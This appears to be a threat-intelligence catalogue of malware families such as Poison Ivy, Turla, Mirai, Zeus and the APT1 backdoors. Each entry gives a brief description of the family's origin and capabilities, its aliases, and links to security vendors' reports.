MSUpdater
Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009
Links |
https://www.zscaler.com/pdf/whitepapers/msupdater_trojan_whitepaper.pdfx |
Poison Ivy
Poison Ivy is a RAT which was freely available and first released in 2005.
Poison Ivy is also known as:
-
Backdoor.Win32.PoisonIvy
-
Gen:Trojan.Heur.PT
Links |
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml |
SPIVY
In March 2016, Unit 42 observed this new Poison Ivy variant we’ve named SPIVY being deployed via weaponized documents leveraging CVE-2015-2545.
Links |
OzoneRAT
OzoneRAT is also known as:
-
Ozone RAT
-
ozonercp
Links |
https://blog.fortinet.com/2016/08/29/german-speakers-targeted-by-spam-leading-to-ozone-rat |
ZeGhost
ZeGhots is a RAT which was freely available and first released in 2014.
ZeGhost is also known as:
-
BackDoor-FBZT!52D84425CDF2
-
Trojan.Win32.Staser.ytq
-
Win32/Zegost.BW
Links |
Elise Backdoor
Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009
Elise Backdoor is also known as:
-
Elise
Links |
Trojan.Laziok
A new information stealer, Trojan.Laziok, acts as a reconnaissance tool allowing attackers to gather information and tailor their attack methods for each compromised computer.
Trojan.Laziok is also known as:
-
Laziok
Links |
http://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector |
Slempo
Android-based malware
Slempo is also known as:
-
GM-Bot
-
SlemBunk
-
Bankosy
-
Acecard
Links |
https://securityintelligence.com/android-malware-about-to-get-worse-gm-bot-source-code-leaked/ |
PWOBot
We have discovered a malware family named ‘PWOBot’ that is fairly unique because it is written entirely in Python, and compiled via PyInstaller to generate a Microsoft Windows executable. The malware has been witnessed affecting a number of Europe-based organizations, particularly in Poland. Additionally, the malware is delivered via a popular Polish file-sharing web service.
PWOBot is also known as:
-
PWOLauncher
-
PWOHTTPD
-
PWOKeyLogger
-
PWOMiner
-
PWOPyExec
-
PWOQuery
Links |
Lost Door RAT
We recently came across a cyber attack that used a remote access Trojan (RAT) called Lost Door, a tool currently offered on social media sites. What also struck us the most about this RAT (detected as BKDR_LODORAT.A) is how it abuses the Port Forward feature in routers.
Lost Door RAT is also known as:
-
LostDoor RAT
-
BKDR_LODORAT
Links |
njRAT
njRAT is also known as:
-
Bladabindi
-
Jorik
Links |
http://www.fidelissecurity.com/files/files/FTA_1009-njRAT_Uncovered_rev2.pdf |
https://github.com/kevthehermit/RATDecoders/blob/master/yaraRules/njRat.yar |
NanoCoreRAT
NanoCoreRAT is also known as:
-
NanoCore
-
Nancrat
-
Zurten
-
Atros2.CKPN
Links |
http://www.symantec.com/connect/blogs/nanocore-another-rat-tries-make-it-out-gutter |
Hi-ZOR
Links |
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html |
Derusbi
Derusbi is also known as:
-
TROJ_DLLSERV.BE
Links |
http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf |
https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf |
EvilGrab
EvilGrab is also known as:
-
BKDR_HGDER
-
BKDR_EVILOGE
-
BKDR_NVICM
-
Wmonder
Links |
Trojan.Naid
Trojan.Naid is also known as:
-
Naid
-
Mdmbot.E
-
AGENT.GUNZ
-
AGENT.AQUP.DROPPER
-
AGENT.BMZA
-
MCRAT.A
-
AGENT.ABQMR
Links |
https://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid |
Moudoor
Backdoor.Moudoor, a customized version of Gh0st RAT
Moudoor is also known as:
-
SCAR
-
KillProc.14145
Links |
https://securityledger.com/2013/09/apt-for-hire-symantec-outs-hidden-lynx-hacking-crew/ |
NetTraveler
APT that infected hundreds of high profile victims in more than 40 countries. Known targets of NetTraveler include Tibetan/Uyghur activists, oil industry companies, scientific research centers and institutes, universities, private companies, governments and governmental institutions, embassies and military contractors.
NetTraveler is also known as:
-
TravNet
-
Netfile
Links |
Winnti
APT used As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware. The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013.
Winnti is also known as:
-
Etso
-
SUQ
-
Agent.ALQHI
Links |
Mimikatz
Ease Credential stealh and replay, A little tool to play with Windows security.
Mimikatz is also known as:
-
Mikatz
Links |
WEBC2
Backdoor attribued to APT1
Links |
https://www.securestate.com/blog/2013/02/20/apt-if-it-aint-broke |
Pirpi
Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. The group delivered Backdoor.Pirpi through malicious attachments or links in convincing spear-phishing emails.
Pirpi is also known as:
-
Badey
-
EXL
Links |
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong |
RARSTONE
RARSTONE is a Remote Access Tool (RAT) discovered early 2013 by TrendMicro, it’s characterized by a great affinity with the other RAT know as Plug is and was used in April for phishing campaigns that followed the dramatic attack to the Boston Marathon.
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/ |
Backspace
Backspace is a Backdoor that targets the Windows platform. This malware is reportedly associated with targeted attacks against Association of Southeast Asian Nations (ASEAN) members (APT30).
Backspace is also known as:
-
Lecna
Links |
XSControl
Backdoor user by he Naikon APT group
Links |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
https://kasperskycontenthub.com/securelist/files/2015/05/TheNaikonAPT-MsnMM.pdf |
Neteagle
NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as Scout and Norton.
Neteagle is also known as:
-
scout
-
norton
Links |
Agent.BTZ
In November 2014, the experts of the G DATA SecurityLabs published an article about ComRAT, the Agent.BTZ successor. We explained that this case is linked to the Uroburos rootkit.
Agent.BTZ is also known as:
-
ComRat
Links |
Heseber BOT
RAT bundle with standard VNC (to avoid/limit A/V detection).
Wipbot
Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdig and Epic Turla)
Wipbot is also known as:
-
Tavdig
-
Epic Turla
-
WorldCupSec
-
TadjMakhal
Links |
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/ |
Turla
Family of related sophisticated backdoor software - Name comes from Microsoft detection signature – anagram of Ultra (Ultra3) was a name of the fake driver). A macOS version exists but appears incomplete and lacking features…for now!
Turla is also known as:
-
Snake
-
Uroburos
-
Urouros
Links |
https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf |
Dark Comet
RAT initialy identified in 2011 and still actively used.
CMStar
Links |
DHS2015
DHS2015 is also known as:
-
iRAT
Links |
https://securelist.com/files/2015/02/The-Desert-Falcons-targeted-attacks.pdf |
Gh0st Rat
Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago.
Gh0st Rat is also known as:
-
Gh0stRat, GhostRat
Links |
http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf |
Fakem RAT
Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).
Fakem RAT is also known as:
-
FAKEM
Links |
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf |
Blackshades
Blackshades Remote Access Tool targets Microsoft Windows operating systems. Authors were arrested in 2012 and 2014.
Links |
https://blog.malwarebytes.org/intelligence/2012/06/you-dirty-rat-part-2-blackshades-net/ |
CHOPSTICK
backdoor used by apt28
CHOPSTICK is also known as:
-
webhp
-
SPLM
-
(.v2 fysbis)
Links |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
EVILTOSS
backdoor used by apt28
Sedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. We have not seen this component since April 2016.
EVILTOSS is also known as:
-
Sedreco
-
AZZY
-
ADVSTORESHELL
-
NETUI
Links |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
GAMEFISH
backdoor
GAMEFISH is also known as:
-
Sednit
-
Seduploader
-
JHUHUGIT
-
Sofacy
Links |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
SOURFACE
downloader - Older version of CORESHELL
SOURFACE is also known as:
-
Sofacy
Links |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
OLDBAIT
credential harvester
OLDBAIT is also known as:
-
Sasfis
-
BackDoor-FDU
-
IEChecker
Links |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_sasfis.tl |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
CORESHELL
downloader - Newer version of SOURFACE
CORESHELL is also known as:
-
Sofacy
Links |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
KjW0rm
RAT initially written in VB.
Links |
https://www.sentinelone.com/blog/understanding-kjw0rm-malware-we-dive-in-to-the-tv5-cyber-attack/ |
Regin
Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.
Regin is also known as:
-
Prax
-
WarriorPride
Links |
T9000
Links |
T5000
T5000 is also known as:
-
Plat1
Links |
http://www.cylance.com/techblog/Grand-Theft-Auto-Panda.shtml |
Taidoor
Links |
http://www.symantec.com/connect/blogs/trojantaidoor-takes-aim-policy-think-tanks |
Swisyn
Links |
Rekaf
Links |
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks |
SkeletonKey
Links |
http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/ |
Skyipot
Links |
Spindest
Links |
PCClient RAT
Links |
Mongall
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
NeD Worm
Links |
NewCT
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
Nflog
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
Janicab
Links |
http://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/ |
Jolob
Links |
IsSpace
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
Emotet
Emotet is also known as:
-
Geodo
Links |
https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/ |
Htran
Links |
CTRat
Links |
http://www.fireeye.com/blog/technical/threat-intelligence/2014/07/spy-of-the-tiger.html |
Etumbot
Etumbot is also known as:
-
Exploz
-
Specfix
-
RIPTIDE
Links |
www.arbornetworks.com/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf[www.arbornetworks.com/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf] |
Fysbis
Links |
http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ |
Hikit
Links |
https://blog.bit9.com/2013/02/25/bit9-security-incident-update/ |
Hancitor
Hancitor is also known as:
-
Tordal
-
Chanitor
-
Pony
Links |
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear |
Ruckguv
Links |
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear |
HerHer Trojan
Links |
Helminth backdoor
Links |
HDRoot
Links |
IRONGATE
Links |
https://www.fireeye.com/blog/threat-research/2016/06/irongate_ics_malware.html |
ShimRAT
Links |
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf |
X-Agent
APT28’s second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.
Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group’s flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.
X-Agent is also known as:
-
XAgent
Links |
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ |
Foozer
Links |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
WinIDS
Links |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
DownRange
Links |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
Mad Max
Links |
Crimson
Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims
Links |
Prikormka
Operation Groundbait based on our research into the Prikormka malware family. This includes detailed technical analysis of the Prikormka malware family and its spreading mechanisms, and a description of the most noteworthy attack campaigns.
Links |
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf |
NanHaiShu
This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat actor behind this malware targets government and private-sector organizations.
Links |
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf |
Umbreon
Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.
Links |
Odinaff
Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.
Links |
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks |
Hworm
Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.
Hworm is also known as:
-
Houdini
Links |
http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/ |
Backdoor.Dripion
Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.
Backdoor.Dripion is also known as:
-
Dripion
Links |
http://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan |
Adwind
Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. A significant amount of additional functionality can be provided through downloadable plugins, including such things as remote control options and shell command execution.
Adwind is also known as:
-
AlienSpy
-
Frutas
-
Unrecom
-
Sockrat
-
JSocket
-
jRat
-
Backdoor:Java/Adwind
Links |
Dridex
Dridex is a strain of banking malware that leverages macros in Microsoft Office to infect systems. Once a computer has been infected, Dridex attackers can steal banking credentials and other personal information on the system to gain access to the financial records of a user.
Dridex is also known as:
-
Cridex
Links |
Gamarue
Gamarue is also known as:
-
Andromeda
Links |
https://blog.gdatasoftware.com/2015/03/24274-the-andromeda-gamarue-botnet-is-on-the-rise-again |
Necurs
The Necurs botnet is a distributor of many pieces of malware, most notably Locky.
Links |
Upatre
Upatre is a Trojan downloader that is used to set up other threats on the victim’s PC. Upatre has been used recently in several high profile Trojan attacks involving the Gameover Trojan.
Vawtrak
Vawtrak is an information stealing malware family that is primarily used to gain unauthorised access to bank accounts through online banking websites.
Links |
Empire
Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework
Links |
Explosive
Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.
Links |
https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf |
KeyBoy
The actors used a new version of “KeyBoy,” a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data
Links |
Yahoyah
The attacks in this case are associated with a campaign called Tropic Trooper, which has been active since at least 2011 and is known for heavily targeting Taiwan. One of the attacks used their known Yahoyah malware…
Yahoyah is also known as:
-
W32/Seeav
Links |
Tartine
Delphi RAT used by Sofacy.
Mirai
Mirai (Japanese for "the future") is malware that turns computer systems running Linux into remotely controlled "bots", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs’s web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.
Mirai is also known as:
-
Linux/Mirai
Links |
Masuta
IoT malware based on Mirai but slightly improved.
Masuta is also known as:
-
PureMasuta
Links |
BlackEnergy
BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.
Links |
Trojan.Seaduke
Trojan.Seaduke is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.
Trojan.Seaduke is also known as:
-
Seaduke
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-031915-4935-99 |
DownRage
DownRage is also known as:
-
Carberplike
Links |
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/ |
GeminiDuke
GeminiDuke is malware that was used by APT29 from 2009 to 2012.
Links |
Zeus
Trojan.Zbot, also called Zeus, is a Trojan horse that attempts to steal confidential information from the compromised computer. It may also download configuration files and updates from the Internet. The Trojan is created using a Trojan-building toolkit.
Zeus is also known as:
-
Trojan.Zbot
-
Zbot
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2010-011016-3514-99 |
Shifu
Shifu is a Banking Trojan first discovered in 2015. Shifu is based on the Shiz source code which incorporated techniques used by Zeus. Attackers use Shifu to steal credentials for online banking websites around the world, starting in Russia but later including the UK, Italy, and others.
Links |
http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/ |
Shiz
The new variant of the Shiz Trojan malware targets mission-critical enterprise resource planning (ERP) applications — particularly SAP users.
Links |
MM Core
Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.
MM Core is also known as:
-
MM Core backdoor
-
BigBoss
-
SillyGoose
-
BaneChant
-
StrangeLove
Links |
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose |
Shamoon
Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]
Links |
GhostAdmin
According to MalwareHunterTeam and other researchers that have looked at the malware’s source code, GhostAdmin seems to be a reworked version of CrimeScene, another botnet malware family that was active around 3-4 years ago.
Links |
EyePyramid Malware
Two Italians referred to as the “Occhionero brothers” have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called “EyePyramid”, which we first discussed last week. (Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.)
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-inner-workings-eyepyramid/ |
LuminosityLink
LuminosityLink is a malware family costing $40 that purports to be a system administration utility
Links |
Flokibot
Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that makes it more interesting.
Flokibot is also known as:
-
Floki Bot
-
Floki
Links |
https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/ |
https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/ |
ZeroT
Most recently, we have observed the same group targeting military and aerospace interests in Russia and Belarus. Since the summer of 2016, this group began using a new downloader known as ZeroT to install the PlugX remote access Trojan (RAT) and added Microsoft Compiled HTML Help (.chm) as one of the initial droppers delivered in spear-phishing emails.
Links |
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx |
StreamEx
Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild.
Links |
https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar |
PupyRAT
Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.
Links |
ELF_IMEIJ
Linux Arm malware spread via RFIs in cgi-bin scripts. This backdoor executes commands from a remote malicious user, effectively compromising the affected system. It connects to a website to send and receive information.
Links |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/elf_imeij.a |
KHRAT
KHRAT is a small backdoor that has three exports (functions), namely, K1, K2, and K3. K1 checks if the current user is an administrator. If not, it uninstalls itself by calling the K2 function.
Links |
Trochilus
The Trochilus RAT is a threatening RAT (Remote Access Trojan) that may evade many anti-virus programs. The Trochilus RAT is currently being used as part of an extended threat campaign in South East Asia. The first appearance of the Trochilus RAT in this campaign, which has been active since August of 2015, was first detected in the summer of 2015. The Trochilus RAT is currently being used against civil society organizations and government computers in the South East Asia region, particularly in attacks directed towards the government of Myanmar.
Links |
MoonWind
The MoonWind sample used for this analysis was compiled with a Chinese compiler known as BlackMoon, the same compiler used for the BlackMoon banking Trojan. While a number of attributes match the BlackMoon banking Trojan, the malware is not the same. Both malware families were simply compiled using the same compiler, and it was the BlackMoon artifacts that resulted in the naming of the BlackMoon banking Trojan. But because this new sample is different from the BlackMoon banking Trojan,
Links |
Chrysaor
Chrysaor is spyware believed to be created by NSO Group Technologies, specializing in the creation and sale of software and infrastructure for targeted attacks. Chrysaor is believed to be related to the Pegasus spyware that was first identified on iOS and analyzed by Citizen Lab and Lookout.
Chrysaor is also known as:
-
Pegasus
-
Pegasus spyware
Links |
https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html |
Sathurbot
The trojan serves as a backdoor. It can be controlled remotely.
Links |
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/ |
AURIGA
The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing file system and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
BANGAT
The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keylogging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
BISCUIT
BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
BOUNCER
BOUNCER will load an extracted DLL into memory, and then will call the DLL’s dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
CALENDAR
This family of malware uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the hard coded email address and passwords. The malware uses the deprecated ClientLogin authentication API from Google. The malware is registered as a service dll as a persistence mechanism. Artifacts of this may be found in the registry.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
COMBOS
The COMBOS malware family is an HTTP based backdoor. The backdoor is capable of file upload, file download, spawning a interactive reverse shell, and terminating its own process. The backdoor may decrypt stored Internet Explorer credentials from the local system and transmit the credentials to the C2 server. The COMBOS malware family does not have any persistence mechanisms built into itself.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
COOKIEBAG
his family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.
COOKIEBAG is also known as:
-
TROJAN.COOKIES
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
DAIRY
Members of this malware family are backdoors that provide file downloading, process listing, process killing, and reverse shell capabilities. This malware may also add itself to the Authorized Applications list for the Windows Firewall.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
GETMAIL
Members of this family of malware are utilities designed to extract email messages and attachments from Outlook PST files. One part of this utility set is an executable, one is a dll. The malware may create a registry artifact related to the executable.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
GDOCUPLOAD
This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google’s published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
GLOOXMAIL
GLOOXMAIL communicates with Google’s Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.
GLOOXMAIL is also known as:
-
TROJAN.GTALK
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
GOGGLES
A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\Temp directory.
GOGGLES is also known as:
-
TROJAN.FOXY
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
GREENCAT
Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading and downloading files, and creating and killing processes, Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\Tasks or %WinDir%\Tasks as working directories, additional malware artifacts may be found there.
Links |
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html |
HACKFASE
This family of malware is a backdoor that provides reverse shell, process creation, system statistics collection, process enumeration, and process termination capabilities. This family is designed to be a service DLL and does not contain an installation mechanism. It usually communicates over port 443. Some variants use their own encryption, others use SSL.
